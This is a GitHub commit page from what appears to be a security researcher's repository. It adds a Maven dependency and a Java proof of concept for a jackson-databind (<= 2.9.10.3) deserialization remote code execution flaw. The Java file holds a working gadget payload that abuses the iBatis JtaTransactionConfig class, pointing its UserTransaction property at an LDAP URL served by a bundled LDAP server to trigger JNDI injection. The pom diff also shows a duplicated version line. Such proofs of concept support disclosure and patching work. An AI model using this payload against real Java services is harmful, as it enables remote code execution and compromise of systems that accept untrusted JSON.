Skip to content

Commit 1cb4a58

Browse files
author
“threedr3am”
committed
Merge branch 'feat/new-ibatis-sqlmap-gadget-jackson'
# Conflicts: # jackson/pom.xml
2 parents ae15b70 + a532265 commit 1cb4a58

File tree

2 files changed

+50
-0
lines changed

2 files changed

+50
-0
lines changed

jackson/pom.xml

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -113,6 +113,13 @@
113113
<groupId>br.com.anteros</groupId>
114114
<artifactId>Anteros-DBCP</artifactId>
115115
<version>1.0.1</version>
116+
<version>8.0.1</version>
117+
</dependency>
118+
119+
<dependency>
120+
<groupId>org.apache.ibatis</groupId>
121+
<artifactId>ibatis-sqlmap</artifactId>
122+
<version>2.3.4.726</version>
116123
</dependency>
117124
</dependencies>
118125

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
package com.threedr3am.bug.jackson;
2+
3+
import com.fasterxml.jackson.databind.ObjectMapper;
4+
import com.threedr3am.bug.common.server.LdapServer;
5+
import java.io.IOException;
6+
7+
/**
8+
*
9+
* jackson-databind <= 2.9.10.3 RCE,需要开启DefaultType (reported by threedr3am to the authorities)
10+
*
11+
* <dependency>
12+
* <groupId>org.apache.ibatis</groupId>
13+
* <artifactId>ibatis-sqlmap</artifactId>
14+
* <version>2.3.4.726</version>
15+
* </dependency>
16+
*
17+
* <dependency>
18+
* <groupId>javax</groupId>
19+
* <artifactId>javaee-api</artifactId>
20+
* <version>8.0.1</version>
21+
* </dependency>
22+
*
23+
* @author threedr3am
24+
*/
25+
public class IbatisSqlmapPoc {
26+
27+
static {
28+
//rmi server示例
29+
// RmiServer.run();
30+
31+
//ldap server示例
32+
LdapServer.run();
33+
}
34+
35+
public static void main(String[] args) throws IOException {
36+
ObjectMapper mapper = new ObjectMapper();
37+
mapper.enableDefaultTyping();
38+
39+
String json = "[\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\", {\"properties\": {\"UserTransaction\":\"ldap://localhost:43658/Calc\"}}]";
40+
mapper.readValue(json, Object.class);
41+
}
42+
43+
}

0 commit comments

Comments
 (0)